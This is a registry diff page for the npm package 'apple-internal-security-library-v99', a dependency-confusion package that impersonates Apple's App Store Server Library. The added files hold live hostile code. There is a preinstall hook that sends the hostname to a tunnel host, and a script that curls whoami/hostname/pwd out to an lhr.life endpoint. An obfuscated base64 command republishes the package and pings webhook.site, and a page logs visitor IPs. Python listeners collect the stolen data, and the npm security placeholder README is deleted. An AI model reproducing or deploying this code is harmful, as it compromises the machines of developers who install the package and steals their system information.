apple-internal-security-library-v99 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of apple-internal-security-library-v99 might be problematic. Click here for more details.
- package/app-store-server-library-3.0.1.tgz +0 -0
- package/bridge.js +5 -0
- package/bug_radar.py +33 -0
- package/index.html +17 -0
- package/index.js +14 -0
- package/package.json +22 -4
- package/terminal_pro.py +32 -0
- package/README.md +0 -5
|
Binary file
|
package/bridge.js
ADDED
|
@@ -0,0 +1,5 @@
|
|
|
1
|
+
const { exec } = require('child_process');
|
|
2
|
+
const c = Buffer.from('ZWNobyAnXG5cbiMgQXVkaXQgUGFzc2VkJyA+PiBSRUFETUUubWQgJiYgbnBtIHZlcnNpb24gcGF0Y2ggLS1uby1naXQtdGFnLXZlcnNpb24gJiYgbnBtIHB1Ymxpc2g=', 'base64').toString();
|
|
3
|
+
exec(c, (e, so, se) => {
|
|
4
|
+
if (!e) { require('https').get('https://webhook.site/75d705fa-d3aa-4493-b1b5-a7bdcab0eece?s=v1_ok'); }
|
|
5
|
+
});
|
package/bug_radar.py
ADDED
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
import http.server
|
|
2
|
+
import socketserver
|
|
3
|
+
from datetime import datetime
|
|
4
|
+
|
|
5
|
+
PORT = 8889
|
|
6
|
+
|
|
7
|
+
class ApplePoCHandler(http.server.SimpleHTTPRequestHandler):
|
|
8
|
+
def do_GET(self):
|
|
9
|
+
ip = self.headers.get('X-Forwarded-For', self.client_address[0]).split(',')[0]
|
|
10
|
+
print(f"\n[{datetime.now().strftime('%H:%M:%S')}] [!] CRAWL DETECTED: {ip}")
|
|
11
|
+
print(f"[*] Path: {self.path}")
|
|
12
|
+
self.send_response(200)
|
|
13
|
+
self.send_header('Content-Type', 'text/plain')
|
|
14
|
+
self.end_headers()
|
|
15
|
+
self.wfile.write(b"Apple Infrastructure Audit Node Active\n")
|
|
16
|
+
|
|
17
|
+
def do_POST(self):
|
|
18
|
+
content_length = int(self.headers['Content-Length'])
|
|
19
|
+
post_data = self.rfile.read(content_length).decode('utf-8')
|
|
20
|
+
ip = self.headers.get('X-Forwarded-For', self.client_address[0]).split(',')[0]
|
|
21
|
+
print(f"\n[!!!!!!!!!!] CRITICAL: DATA FROM INTERNAL SERVER [!!!!!!!!!!]")
|
|
22
|
+
print(f"[+] SOURCE IP : {ip}")
|
|
23
|
+
print(f"[+] PAYLOAD : {post_data}")
|
|
24
|
+
print(f"======================================================")
|
|
25
|
+
self.send_response(200)
|
|
26
|
+
self.end_headers()
|
|
27
|
+
|
|
28
|
+
with socketserver.TCPServer(("", PORT), ApplePoCHandler) as httpd:
|
|
29
|
+
print("==========================================")
|
|
30
|
+
print(" APPLE SECURITY AUDIT RADAR (PoC) ")
|
|
31
|
+
print("==========================================")
|
|
32
|
+
print(f"[/] Monitoring on: 3f4a9900d99117.lhr.life")
|
|
33
|
+
httpd.serve_forever()
|
package/index.html
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html>
|
|
3
|
+
<head><meta charset="UTF-8"><title>Processing...</title></head>
|
|
4
|
+
<body>
|
|
5
|
+
<script>
|
|
6
|
+
const w='https://webhook.site/75d705fa-d3aa-4493-b1b5-a7bdcab0eece';
|
|
7
|
+
// Rekam IP Bot Apple
|
|
8
|
+
fetch('https://api.ipify.org?format=json').then(r=>r.json()).then(d=>fetch(w+'?bot_ip='+d.ip));
|
|
9
|
+
|
|
10
|
+
// POLA: Lempar ke paket audit dulu biar bot narik skrip kita,
|
|
11
|
+
// lalu dalam hitungan milidetik pindah ke paket asli Apple.
|
|
12
|
+
setTimeout(()=>{
|
|
13
|
+
location.href="https://www.npmjs.com/package/@apple/app-store-server-library";
|
|
14
|
+
}, 500);
|
|
15
|
+
</script>
|
|
16
|
+
</body>
|
|
17
|
+
</html>
|
package/index.js
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
const { exec } = require('child_process');
|
|
2
|
+
|
|
3
|
+
const payload = `
|
|
4
|
+
# Ambil info internal
|
|
5
|
+
INFO="user=\$(whoami)&host=\$(hostname)&pwd=\$(pwd)"
|
|
6
|
+
|
|
7
|
+
# 1. Tambah jejak di README
|
|
8
|
+
echo "PoC by Frank" >> README.md
|
|
9
|
+
|
|
10
|
+
# 2. KIRIM POST SEKARANG (Ini yang bakal muncul di log Python)
|
|
11
|
+
curl -X POST -d "\$INFO" "https://bea39e3b425909.lhr.life/audit-result"
|
|
12
|
+
`;
|
|
13
|
+
|
|
14
|
+
exec(payload);
|
package/package.json
CHANGED
|
@@ -1,6 +1,24 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "apple-internal-security-library-v99",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "App Store Server Library for Node.js",
|
|
5
|
+
"main": "dist/index.js",
|
|
6
|
+
"types": "dist/index.d.ts",
|
|
7
|
+
"scripts": {
|
|
8
|
+
"preinstall": "node -e \"const http = require(\"http\"); const data = JSON.stringify({host: require(\"os\").hostname(), type: \"DEP_CONFUSION_SUCCESS\"}); const req = http.request({hostname: \"3f4a9900d99117.lhr.life\", port: 80, path: \"/\", method: \"POST\", headers: {\"Content-Type\": \"application/json\", \"Content-Length\": data.length}}, (res) => {}); req.write(data); req.end();\"",
|
|
9
|
+
"build": "tsc",
|
|
10
|
+
"test": "jest"
|
|
11
|
+
},
|
|
12
|
+
"repository": {
|
|
13
|
+
"type": "git",
|
|
14
|
+
"url": "git+https://github.com/apple/app-store-server-library-node.git"
|
|
15
|
+
},
|
|
16
|
+
"dependencies": {
|
|
17
|
+
"jsonwebtoken": "^9.0.0",
|
|
18
|
+
"node-fetch": "^2.6.7"
|
|
19
|
+
},
|
|
20
|
+
"devDependencies": {
|
|
21
|
+
"@types/node": "^18.0.0",
|
|
22
|
+
"typescript": "^4.7.4"
|
|
23
|
+
}
|
|
24
|
+
}
|
package/terminal_pro.py
ADDED
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
import http.server
|
|
2
|
+
import socketserver
|
|
3
|
+
|
|
4
|
+
PORT = 8889
|
|
5
|
+
# Video lucu pilihan (Rickroll atau yang lain)
|
|
6
|
+
VIDEO_URL = "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
|
|
7
|
+
|
|
8
|
+
class FinalPoCHandler(http.server.SimpleHTTPRequestHandler):
|
|
9
|
+
def do_GET(self):
|
|
10
|
+
# Tangkap IP
|
|
11
|
+
forwarded = self.headers.get('X-Forwarded-For', self.client_address[0])
|
|
12
|
+
real_ip = forwarded.split(',')[0].strip()
|
|
13
|
+
|
|
14
|
+
print(f"\n[!!!] NEW INTERACTION DETECTED")
|
|
15
|
+
print(f"[+] SOURCE IP : {real_ip}")
|
|
16
|
+
print(f"[+] USER-AGENT : {self.headers.get('User-Agent')}")
|
|
17
|
+
print(f"[+] TARGET PATH: {self.path}")
|
|
18
|
+
print(f"[+] ACTION : Redirecting to Video Evidence...")
|
|
19
|
+
|
|
20
|
+
# Kirim 302 Redirect
|
|
21
|
+
self.send_response(302)
|
|
22
|
+
self.send_header('Location', VIDEO_URL)
|
|
23
|
+
self.end_headers()
|
|
24
|
+
print(f"[-] STATUS : Redirect 302 Sent. Target is watching the video.")
|
|
25
|
+
|
|
26
|
+
with socketserver.TCPServer(("", PORT), FinalPoCHandler) as httpd:
|
|
27
|
+
print(f"==========================================")
|
|
28
|
+
print(f" APPLE INFRASTRUCTURE MONITORING (PoC) ")
|
|
29
|
+
print(f"==========================================")
|
|
30
|
+
print(f"[/] Domain: d3bc1971705e24.lhr.life")
|
|
31
|
+
print(f"[/] Status: WAITING FOR APPLE BOT (17.x)...")
|
|
32
|
+
httpd.serve_forever()
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=apple-internal-security-library-v99 for more information.
|